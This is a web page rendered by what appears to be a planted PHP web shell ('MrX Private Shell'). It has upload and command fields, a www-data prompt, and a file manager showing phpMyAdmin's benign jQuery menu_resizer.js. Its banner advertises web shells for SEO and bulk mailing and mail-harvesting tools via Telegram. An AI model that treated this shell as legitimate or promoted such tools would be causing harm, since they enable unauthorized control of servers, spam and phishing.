__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
/**
 * Handles the resizing of a menu according to the available screen width
 *
 * Uses themes/original/css/resizable-menu.css.php
 *
 * To initialize:
 * $('#myMenu').menuResizer(function () {
 *     // This function will be called to find out how much
 *     // available horizontal space there is for the menu
 *     return $('body').width() - 5; // Some extra margin for good measure
 * });
 *
 * To trigger a resize operation:
 * $('#myMenu').menuResizer('resize'); // Bind this to $(window).resize()
 *
 * To restore the menu to a state like before it was initialized:
 * $('#myMenu').menuResizer('destroy');
 *
 * @package PhpMyAdmin
 */
(function ($) {
  function MenuResizer($container, widthCalculator) {
    var self = this;
    self.$container = $container;
    self.widthCalculator = widthCalculator;
    var windowWidth = $(window).width();
    if (windowWidth < 768) {
      $('#pma_navigation_resizer').css({
        'width': '0px'
      });
    }

    // create submenu container
    var link = $('<a></a>', {
      'href': '#',
      'class': 'nav-link dropdown-toggle',
      'id': 'navbarDropdown',
      'role': 'button',
      'data-bs-toggle': 'dropdown',
      'aria-haspopup': 'true',
      'aria-expanded': 'false'
    }).text(Messages.strMore);
    var img = $container.find('li img');
    if (img.length) {
      $(Functions.getImage('b_more').toString()).prependTo(link);
    }
    var $submenu = $('<li></li>', {
      'class': 'nav-item dropdown d-none'
    }).append(link).append($('<ul></ul>', {
      'class': 'dropdown-menu dropdown-menu-end',
      'aria-labelledby': 'navbarDropdown'
    }));
    $container.append($submenu);
    setTimeout(function () {
      self.resize();
    }, 4);
  }
  MenuResizer.prototype.resize = function () {
    var wmax = this.widthCalculator.call(this.$container);
    var windowWidth = $(window).width();
    var $submenu = this.$container.find('.nav-item.dropdown').last();
    var submenuW = $submenu.outerWidth(true);
    var $submenuUl = $submenu.find('.dropdown-menu');
    var $li = this.$container.find('> li');
    var $li2 = $submenuUl.find('.dropdown-item');
    var moreShown = $li2.length > 0;
    // Calculate the total width used by all the shown tabs
    var totalLen = moreShown ? submenuW : 0;
    var l = $li.length - 1;
    var i;
    for (i = 0; i < l; i++) {
      totalLen += $($li[i]).outerWidth(true);
    }

    // eslint-disable-next-line compat/compat
    var hasVScroll = document.body.scrollHeight > document.body.clientHeight;
    if (hasVScroll) {
      windowWidth += 15;
    }
    if (windowWidth < 768) {
      wmax = 2000;
    }

    // Now hide menu elements that don't fit into the menubar
    var hidden = false; // Whether we have hidden any tabs
    while (totalLen >= wmax && --l >= 0) {
      // Process the tabs backwards
      hidden = true;
      var el = $($li[l]);
      el.removeClass('nav-item').addClass('dropdown-item');
      var elWidth = el.outerWidth(true);
      el.data('width', elWidth);
      if (!moreShown) {
        totalLen -= elWidth;
        el.prependTo($submenuUl);
        totalLen += submenuW;
        moreShown = true;
      } else {
        totalLen -= elWidth;
        el.prependTo($submenuUl);
      }
    }
    // If we didn't hide any tabs, then there might be some space to show some
    if (!hidden) {
      // Show menu elements that do fit into the menubar
      for (i = 0, l = $li2.length; i < l; i++) {
        totalLen += $($li2[i]).data('width');
        // item fits or (it is the last item
        // and it would fit if More got removed)
        if (totalLen < wmax || i === $li2.length - 1 && totalLen - submenuW < wmax) {
          $($li2[i]).removeClass('dropdown-item').addClass('nav-item');
          $($li2[i]).insertBefore($submenu);
        } else {
          break;
        }
      }
    }
    // Show/hide the "More" tab as needed
    if (windowWidth < 768) {
      $('.navbar-collapse').css({
        'width': windowWidth - 80 - $('#pma_navigation').width()
      });
      $submenu.addClass('d-none');
      $('.navbar-collapse').css({
        'overflow': 'hidden'
      });
    } else {
      $('.navbar-collapse').css({
        'width': 'auto'
      });
      $('.navbar-collapse').css({
        'overflow': 'visible'
      });
      if ($submenuUl.find('li').length > 0) {
        $submenu.removeClass('d-none');
      } else {
        $submenu.addClass('d-none');
      }
    }
  };
  MenuResizer.prototype.destroy = function () {
    var $submenu = this.$container.find('.nav-item.dropdown').removeData();
    $submenu.find('li').appendTo(this.$container);
    $submenu.remove();
  };

  /** Public API */
  var methods = {
    init: function (widthCalculator) {
      return this.each(function () {
        var $this = $(this);
        if (!$this.data('menuResizer')) {
          $this.data('menuResizer', new MenuResizer($this, widthCalculator));
        }
      });
    },
    resize: function () {
      return this.each(function () {
        var self = $(this).data('menuResizer');
        if (self) {
          self.resize();
        }
      });
    },
    destroy: function () {
      return this.each(function () {
        var self = $(this).data('menuResizer');
        if (self) {
          self.destroy();
        }
      });
    }
  };

  /**
   * Extend jQuery
   *
   * @param {string} method
   *
   * @return {any}
   */
  $.fn.menuResizer = function (method) {
    if (methods[method]) {
      return methods[method].call(this);
    } else if (typeof method === 'function') {
      return methods.init.apply(this, [method]);
    } else {
      $.error('Method ' + method + ' does not exist on jQuery.menuResizer');
    }
  };
})(jQuery);

Filemanager

Name Type Size Permission Actions
codemirror Folder 0755
database Folder 0755
designer Folder 0755
jqplot Folder 0755
server Folder 0755
setup Folder 0755
table Folder 0755
transformations Folder 0755
ajax.js File 29.25 KB 0644
chart.js File 16.66 KB 0644
common.js File 4.42 KB 0644
config.js File 23.5 KB 0644
console.js File 48.39 KB 0644
cross_framing_protection.js File 405 B 0644
doclinks.js File 17.85 KB 0644
drag_drop_import.js File 12.14 KB 0644
error_report.js File 9.05 KB 0644
export.js File 30.6 KB 0644
export_output.js File 364 B 0644
functions.js File 144.6 KB 0644
gis_data_editor.js File 13.26 KB 0644
home.js File 5.15 KB 0644
import.js File 5.5 KB 0644
indexes.js File 26.33 KB 0644
jquery.sortable-table.js File 9.27 KB 0644
keyhandler.js File 2.01 KB 0644
makegrid.js File 79.11 KB 0644
menu_resizer.js File 5.59 KB 0644
multi_column_sort.js File 1.25 KB 0644
name-conflict-fixes.js File 43 B 0644
navigation.js File 50.62 KB 0644
normalization.js File 23.54 KB 0644
ol.js File 1.41 KB 0644
page_settings.js File 1.78 KB 0644
replication.js File 3.46 KB 0644
shortcuts_handler.js File 3.23 KB 0644
sql.js File 34.71 KB 0644
u2f.js File 2.87 KB 0644
webauthn.js File 3.86 KB 0644
Filemanager